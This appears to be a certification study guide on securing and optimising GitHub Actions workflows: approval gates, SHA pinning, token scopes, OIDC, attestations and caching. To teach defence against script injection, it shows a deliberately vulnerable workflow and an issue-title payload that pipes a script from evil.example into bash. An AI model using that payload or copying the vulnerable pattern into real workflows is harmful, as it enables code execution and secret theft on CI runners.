Secure and optimize automation

The lightest skill by weight and the one that runs through every other. Gating deployments, choosing actions you can trust, keeping untrusted text out of your scripts, giving every token the least power it needs, replacing cloud secrets with OIDC, pinning what you run, proving what you built — and spending fewer minutes doing it.

Skill
5
Exam weight
10–15%
Skills measured
January 2026
Sections
2

Implement security best practices

Environment protections and approval gates

flowchart LR
  BUILD["build<br/>attest provenance"]:::success --> STG["deploy-staging<br/>environment: staging"]:::success
  STG --> PROD["deploy-production<br/>environment: production<br/>waiting for review"]:::pending
A gated release. build and deploy-staging succeeded; deploy-production is pending (amber border) until a required reviewer approves, the wait timer elapses and the branch rule matches. Only then are production's secrets released to the job.
  • Put production credentials in environment secrets, never repository secrets — a job only receives them after the environment's rules pass.
  • Combine required reviewers (with prevent self-review), deployment branches and tags (only main or v* tags may deploy) and, where needed, a wait timer or a custom deployment protection rule app.
  • Turn off allow administrators to bypass for environments that must bind everyone.
  • Scope the cloud trust to the environment (sub: repo:org/repo:environment:production) so a workflow that skips the environment cannot get production access at all.

The rules themselves are listed in Skill 1.

Identify and use trustworthy actions

A third-party action runs with your job's token, secrets and network. Before you adopt one:

  • Prefer GitHub-created actions (actions/*, github/*) and Marketplace actions from verified creators (the blue badge) — exactly the two groups the allowed-actions policy can allow wholesale.
  • Read the source and the action.yml: what does it run, what does it download, which inputs take tokens? A Docker action pulling :latest is as mutable as a branch.
  • Check maintenance — recent releases, a current node24 runtime, issues answered, a security policy — and the action's own OpenSSF Scorecard if it publishes one.
  • Give the job only the permissions the action needs, and pass secrets only to the step that uses them.
  • Pin it to a full SHA, let Dependabot propose updates, and review the diff before merging them. For critical paths, fork it into your organisation.
  • GitHub's Advisory Database covers actions: Dependabot alerts flag vulnerable action versions, and actions/dependency-review-action flags new risky ones in pull requests.

Mitigate script injection

A ${{ }} expression in run: is pasted into the script before the shell sees it. If the value comes from someone outside your team — an issue title, a PR body, a branch name, a commit message — they can write shell code.

.github/workflows/triage.yml
on:
  issues:
    types: [opened]

permissions:
  issues: write

jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - name: Label bugs  # VULNERABLE: the title is pasted into the script
        env:
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}
        run: |
          title="${{ github.event.issue.title }}"
          if [[ "$title" == *bug* ]]; then
            gh issue edit ${{ github.event.issue.number }} --add-label bug
          fi

An issue titled x"; curl -sSf https://evil.example/p.sh | bash; echo " produces this script — visible in the log:

Label bugs
Run title="x"; curl -sSf https://evil.example/p.sh | bash; echo ""
title="x"; curl -sSf https://evil.example/p.sh | bash; echo ""
if [[ "$title" == *bug* ]]; then
gh issue edit 42 --add-label bug
fi
shell: /usr/bin/bash -e {0}
env:
GH_TOKEN: ***
GH_REPO: octo-org/web

The fix is to pass untrusted values through the environment, where the shell treats them as data:

.github/workflows/triage.yml excerpt
- name: Label bugs  # SAFE: untrusted text arrives as data
  env:
    TITLE: ${{ github.event.issue.title }}
    NUMBER: ${{ github.event.issue.number }}
    GH_TOKEN: ${{ github.token }}
    GH_REPO: ${{ github.repository }}
  run: |
    if [[ "$TITLE" == *bug* ]]; then
      gh issue edit "$NUMBER" --add-label bug
    fi
Untrusted inputExamples
Issue and PR textgithub.event.issue.title, .body, github.event.pull_request.title, .body
Comments and reviewsgithub.event.comment.body, github.event.review.body
Git metadatagithub.head_ref and pull_request.head.ref (branch names), head_commit.message, author names and emails
Othersgithub.event.pages.*.page_name, labels, wiki titles, discussion text, and any artifact or output produced by an untrusted run
  • Sanitise and validate: check inputs against an allow-list or a regular expression before use; reject rather than escape.
  • Quote every variable in the shell ("$TITLE"), even from the environment.
  • Least privilege: a read-only token turns a successful injection into a much smaller problem.
  • Prefer a vetted action that takes the value as an input (passed as an argument, not interpolated into a script) over an inline script — actions/github-script with the value in env, for example.
  • Linters (actionlint, CodeQL's Actions queries, zizmor) flag expressions of untrusted contexts inside run:.
step
- name: Validate the version input before using it
  env:
    VERSION: ${{ inputs.version }}
  run: |
    if [[ ! "$VERSION" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
      echo "::error::version must look like v1.2.3"
      exit 1
    fi

pull_request_target and "pwn requests"

pull_request_target runs the default branch's workflow with the base repository's write token and secrets — safe only as long as it never executes code from the pull request.

.github/workflows/unsafe.yml excerpt
on:
  pull_request_target:            # base-repository token and secrets…

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # …running the fork's code
          allow-unsafe-pr-checkout: true                     # checkout v7 refuses without this
      - run: npm ci && npm test   # the PR controls package.json and the tests
  • actions/checkout@v7 refuses to check out fork PR code under pull_request_target or workflow_run unless you set allow-unsafe-pr-checkout: true — treat that input as a red flag in review.
  • The safe pattern is two workflows: an unprivileged pull_request workflow runs the untrusted code and uploads results; a privileged workflow_run workflow reads them as data and comments or labels.
  • Treat artifacts and caches written by untrusted runs as untrusted too: a privileged job that restores them can be poisoned.

GITHUB_TOKEN, PATs and GitHub App tokens

GITHUB_TOKEN is an installation token of the GitHub Actions app, created when each job starts, scoped to the repository that runs the workflow, and revoked when the job ends (24 hours at most). Its scopes come from the permissions key, or from the repository's default when the key is absent.

.github/workflows/pr.yml excerpt
permissions: {}                  # workflow default: no scopes at all

jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read             # just enough to check out
    steps:
      - uses: actions/checkout@v7
        with:
          persist-credentials: false   # don't leave the token in the workspace
      - run: npm ci && npm test

  comment:
    needs: test
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write       # only this job may comment
    steps:
      - env:
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}
          PR: ${{ github.event.pull_request.number }}
        run: gh pr comment "$PR" --body "Tests passed"
  • Scopes: actions, artifact-metadata, attestations, checks, contents, deployments, discussions, id-token, issues, models, packages, pages, pull-requests, security-events, statuses — each read, write or none.
  • As soon as you list any scope, every unlisted one becomes none (except metadata, always read). permissions: {} removes them all; read-all and write-all exist but are rarely right.
  • Job-level permissions replace — not merge with — the workflow-level ones.
  • Fork pull requests always get a read-only token, whatever the workflow asks for.
  • The Set up job step logs the token's effective permissions.
GITHUB_TOKENGitHub App installation tokenFine-grained PATClassic PAT
LifetimeThe job (≤ 24 h)1 hour (the action revokes it when the job ends)Up to the expiry you setOptional expiry
ScopeThis repository, per-scope permissionsThe installation's repositories and permissions, narrowableSelected repositories and permissionsEvery repository the user can reach
Acts asgithub-actions[bot]The app (name[bot])The userThe user
Triggers workflows?No (except dispatch events)YesYesYes
Use forAlmost everything in the repositoryCross-repository work, triggering workflows, org automationPersonal automation when an app is not possibleAvoid
.github/workflows/release.yml excerpt
jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - id: app
        uses: actions/create-github-app-token@v3
        with:
          client-id: ${{ vars.RELEASE_APP_CLIENT_ID }}   # app-id is deprecated
          private-key: ${{ secrets.RELEASE_APP_KEY }}
          repositories: web,docs      # narrow the installation token
      - env:
          GH_TOKEN: ${{ steps.app.outputs.token }}   # revoked when the job ends; its events DO trigger workflows
        run: gh release create v2.4.0 --repo octo-org/web --generate-notes

Restrict write scopes

Set the organisation and repository default to read, give write only to the job that needs it, and leave Allow GitHub Actions to create and approve pull requests off unless a workflow genuinely needs it — with it on, an injected workflow could approve its own pull request.

OIDC federation with cloud providers

Instead of storing a long-lived cloud key as a secret, a job asks GitHub's OIDC provider for a short-lived signed token and exchanges it with the cloud for a short-lived access token. Nothing long-lived is stored in GitHub, and the cloud decides — per repository, branch or environment — who may get in.

flowchart LR
  J["Job requests a token<br/>permissions: id-token: write"] --> G["GitHub OIDC provider<br/>signs a JWT: iss, aud, sub,<br/>repository, ref, environment"]
  G --> C["Cloud identity service<br/>checks issuer, audience<br/>and subject against its trust"]
  C --> T["Short-lived cloud token<br/>returned to the job"]
The job needs permissions: id-token: write. The cloud's trust policy matches the token's issuer (https://token.actions.githubusercontent.com), audience and subject claim.
Federate a workflow with Azure over OIDC
  1. Create an identity in the cloud and grant it a role

    A Microsoft Entra app registration or a user-assigned managed identity, with an RBAC role on just the resource group it deploys to.

  2. Add a federated credential that trusts GitHub

    Issuer https://token.actions.githubusercontent.com, audience api://AzureADTokenExchange, and a subject that names exactly what may log in, such as repo:octo-org/web:environment:production.

  3. Store the identifiers as variables

    The client, tenant and subscription IDs are not secrets — keep them in vars. There is no client secret to store at all.

  4. Grant id-token: write to the deploying job

    Only that job: other jobs cannot request a token.

  5. Log in with the cloud's action
    .github/workflows/deploy-azure.yml
    name: Deploy to Azure
    
    on:
      push:
        branches: [main]
    
    permissions:
      contents: read
    
    jobs:
      deploy:
        runs-on: ubuntu-latest
        environment: production        # sub: repo:octo-org/web:environment:production
        permissions:
          contents: read
          id-token: write              # allow this job to request an OIDC token
        steps:
          - uses: actions/checkout@v7
          - uses: azure/login@a641126d1b8aa4d1fa005f4f92df94a3a4c4c906 # v3.1.0
            with:
              client-id: ${{ vars.AZURE_CLIENT_ID }}            # IDs, not secrets
              tenant-id: ${{ vars.AZURE_TENANT_ID }}
              subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }}
          - run: az webapp deploy --resource-group web-rg --name octo-web --src-path dist.zip
  6. Check the subject and tighten it

    A failed login usually means the subject does not match. The new immutable subject format adds owner and repository IDs; repositories created, renamed or transferred after 15 July 2026 use it automatically, and the cloud's subject must match it.

Job contextSubject (sub) claim
Job with an environmentrepo:octo-org/web:environment:production — takes precedence over the ref
Push to a branchrepo:octo-org/web:ref:refs/heads/main
Tagrepo:octo-org/web:ref:refs/tags/v2.4.0
Pull requestrepo:octo-org/web:pull_request
Immutable format (new repositories)repo:octo-org@123456/web@456789:environment:production

The token also carries claims such as repository, repository_owner, ref, environment, workflow_ref and job_workflow_ref; an organisation or repository can customise the subject template through the API to include them. The same pattern works for AWS and Google Cloud:

.github/workflows/deploy-aws.yml excerpt
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
        with:
          role-to-assume: arn:aws:iam::123456789012:role/octo-web-deploy
          aws-region: eu-west-1
      - run: aws s3 sync ./dist s3://octo-web-site
IAM role trust policy
{
  "Effect": "Allow",
  "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:octo-org/web:ref:refs/heads/main"
    }
  }
}

Pin actions to a full commit SHA

Tags and branches can be moved — by the maintainer, or by whoever compromises the maintainer. A full 40-character commit SHA cannot. Pin third-party actions to a SHA with the version in a trailing comment, so people and Dependabot can still read and update it:

.github/workflows/image.yml excerpt
steps:
  - uses: actions/checkout@v7                                                  # first-party: major tag
  - uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1
  - uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4.8.0
    with:
      registry: ghcr.io
      username: ${{ github.actor }}
      password: ${{ secrets.GITHUB_TOKEN }}
  - uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
    with:
      push: true
      tags: ghcr.io/octo-org/web:${{ github.sha }}
      cache-from: type=gha
      cache-to: type=gha,mode=max

Why these notes use majors for actions/* and SHAs for everything else

Throughout these notes, first-party actions/* samples use major tags (@v7) so the samples stay readable; every third-party action is pinned to a full SHA with its version in a comment. In your own workflows, the safest choice is to pin all actions — the SHA pinning policy does not exempt GitHub's own.

  • Avoid @main and floating @v* for third-party actions unless you have a reason (and say so in a comment).
  • A SHA from a fork of the action's repository resolves too — check that the SHA belongs to the upstream repository.
  • Enforce it with the allowed-actions Require actions to be pinned to a full-length commit SHA policy.
  • Pinning the top level does not pin what an action itself pulls in. A workflow lockfile records transitive dependencies too:
gh actions-lock
gh extension install github/gh-actions-lock
gh actions-lock                   # pin every action (and its dependencies) into actions.lock
gh actions-lock --verify          # in CI: fail if the lockfile is stale or incomplete
gh actions-lock --relock          # move pins forward after reviewing upstream changes
.github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions   # keeps uses: references current — SHA pins included
    directory: /
    schedule:
      interval: weekly
    groups:
      actions:
        patterns: ['*']

The study guide's "immutable actions enforcement on hosted runners" refers to a rollout that GitHub withdrew in December 2025; Skill 3 explains what replaced it. Checked on 5 November 2026.

Enforce action usage policies

  • Allow and deny lists: at enterprise, organisation or repository level, allow only your own actions plus GitHub-created, verified-creator and named patterns, and block specific ones with !owner/repo@*. The details are in Skill 4.
  • SHA pinning and Require lockfile policies make unpinned references fail.
  • Review before an unverified action is used: there is no single switch for this. The usual design is a policy that allows only verified creators and approved patterns — so a new action needs an admin to add it — plus CODEOWNERS on /.github/workflows/ and /.github/actions/ with a ruleset requiring code-owner review, so a security team approves every workflow change that introduces one.
  • Fork PR approvals stop outside contributors' workflows running until a maintainer approves them.

Artifact attestations and provenance

An artifact attestation is a signed statement binding an artifact's digest to how it was built: the repository, workflow, commit, trigger and runner — SLSA build provenance. Signing uses a short-lived Sigstore certificate obtained with the job's OIDC token: the public-good Sigstore instance for public repositories, GitHub's private instance for private and internal ones (GitHub Enterprise Cloud).

flowchart LR
  SRC["Source commit"] --> BLD["Build job<br/>actions/attest"]
  BLD --> ATT["Attestation<br/>signed by Sigstore"]
  BLD --> ART["Artifact or image"]
  ART --> VER["Verify job<br/>gh attestation verify"]
  ATT --> VER
  VER --> DEP["Deploy"]
Provenance end to end: the build job attests what it produced, and a separate verify step refuses to deploy anything whose attestation does not check out.
.github/workflows/release.yml
name: Release

on:
  push:
    tags: ['v*']

permissions:
  contents: read

jobs:
  binary:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      id-token: write              # mint the Sigstore signing certificate
      attestations: write          # store the attestation
    steps:
      - uses: actions/checkout@v7
      - run: make dist             # builds dist/web-linux-amd64
      - uses: actions/attest@v4    # SLSA build provenance by default
        with:
          subject-path: dist/web-linux-amd64
      - uses: actions/upload-artifact@v7
        with:
          name: web-linux-amd64
          path: dist/web-linux-amd64

  image:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write
      id-token: write
      attestations: write
      artifact-metadata: write     # storage record for the pushed image
    steps:
      - uses: actions/checkout@v7
      - uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4.8.0
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - id: push
        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          push: true
          tags: ghcr.io/octo-org/web:${{ github.ref_name }}
      - uses: actions/attest@v4
        with:
          subject-name: ghcr.io/octo-org/web
          subject-digest: ${{ steps.push.outputs.digest }}
          push-to-registry: true
  • actions/attest@v4 is the current action: build provenance by default, an SBOM attestation with sbom-path, or a custom predicate. actions/attest-build-provenance v4 is now a thin wrapper around it.
  • Permissions: id-token: write and attestations: write; add artifact-metadata: write when pushing an image's attestation to the registry.
  • Attestations appear in the repository's Attestations page and the run summary.
gh attestation
# Verify a file against the repository that should have built it
gh attestation verify dist/web-linux-amd64 --repo octo-org/web

# Verify an image, and require that a specific reusable workflow signed it
gh attestation verify oci://ghcr.io/octo-org/web:v2.4.0 \
  --owner octo-org \
  --signer-workflow octo-org/platform/.github/workflows/release.yml
.github/workflows/release.yml excerpt
deploy:
  needs: binary
  runs-on: ubuntu-latest
  environment: production
  permissions:
    contents: read
    attestations: read
  steps:
    - uses: actions/download-artifact@v8
      with:
        name: web-linux-amd64
    - name: Refuse anything we did not build
      env:
        GH_TOKEN: ${{ github.token }}
      run: gh attestation verify web-linux-amd64 --repo "$GITHUB_REPOSITORY"
    - run: ./deploy.sh web-linux-amd64

Reusable workflows raise the SLSA level

If every release is built by one reusable workflow owned by a platform team, verify with --signer-workflow: an attacker who can edit a repository's own workflow still cannot produce an attestation signed by the central one. For Kubernetes, an admission controller can run the same check before a pod starts.

Optimize workflow performance and cost

Caching and artifact retention for efficiency

  • Cache dependencies (setup-* cache: or actions/cache), keyed on lockfiles, so installs are restores rather than downloads.
  • Cache container layers with cache-from: type=gha and cache-to: type=gha,mode=max.
  • Build once and pass the result as an artifact to test and deploy jobs instead of rebuilding in each.
  • Keep artifacts only as long as they are useful: short retention-days for PR builds, a lower repository or organisation default set through the retention API (Skill 1), and early deletion of what nobody needs.
  • Delete caches for merged pull requests, which nothing will restore again:
.github/workflows/cache-cleanup.yml
name: Clean PR caches

on:
  pull_request:
    types: [closed]

permissions:
  actions: write

jobs:
  cleanup:
    runs-on: ubuntu-latest
    steps:
      - env:
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}
          REF: refs/pull/${{ github.event.pull_request.number }}/merge
        run: |
          gh cache list --ref "$REF" --limit 100 --json id --jq '.[].id' |
            xargs -r -n1 gh cache delete

Strategies for scaling and optimising

.github/workflows/ci.yml excerpt
on:
  pull_request:
    paths: ['src/**', 'package*.json', '.github/workflows/ci.yml']

concurrency:                      # a new push cancels the run it replaces
  group: ci-${{ github.event.pull_request.number || github.ref }}
  cancel-in-progress: true

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    strategy:
      matrix:
        shard: [1, 2, 3, 4]       # split one slow suite four ways
    steps:
      - uses: actions/checkout@v7          # fetch-depth: 1 by default
      - uses: actions/setup-node@v7
        with:
          node-version: 24
          cache: npm
      - run: npm ci --prefer-offline
      - run: npx vitest run --shard=${{ matrix.shard }}/4
LeverSaves
paths / paths-ignore and job-level if:Runs that would test nothing that changed
concurrency with cancel-in-progressSuperseded PR runs; queue: max instead for deployments that must all happen in order
timeout-minutesHung jobs burning up to six hours
Parallel jobs and test shardingWall-clock time (not minutes)
Smaller matrices on PRs, full on mainMinutes on every push
Linux and Arm64 runners for portable workPer-minute cost — Windows and macOS minutes cost more
Larger runners for heavy buildsTime; can cost less overall if the job finishes much sooner
Ephemeral, autoscaled self-hosted runners (ARC)Idle machines; capacity beyond hosted concurrency limits
Shallow checkout (the default fetch-depth: 1)Clone time on big repositories

Measure before tuning: Actions usage metrics show where the minutes go, Actions performance metrics show queue time and failure rates, and concurrency limits per plan (20 jobs on Free, 40 on Pro, 60 on Team, 500 on Enterprise for standard runners) explain jobs that queue.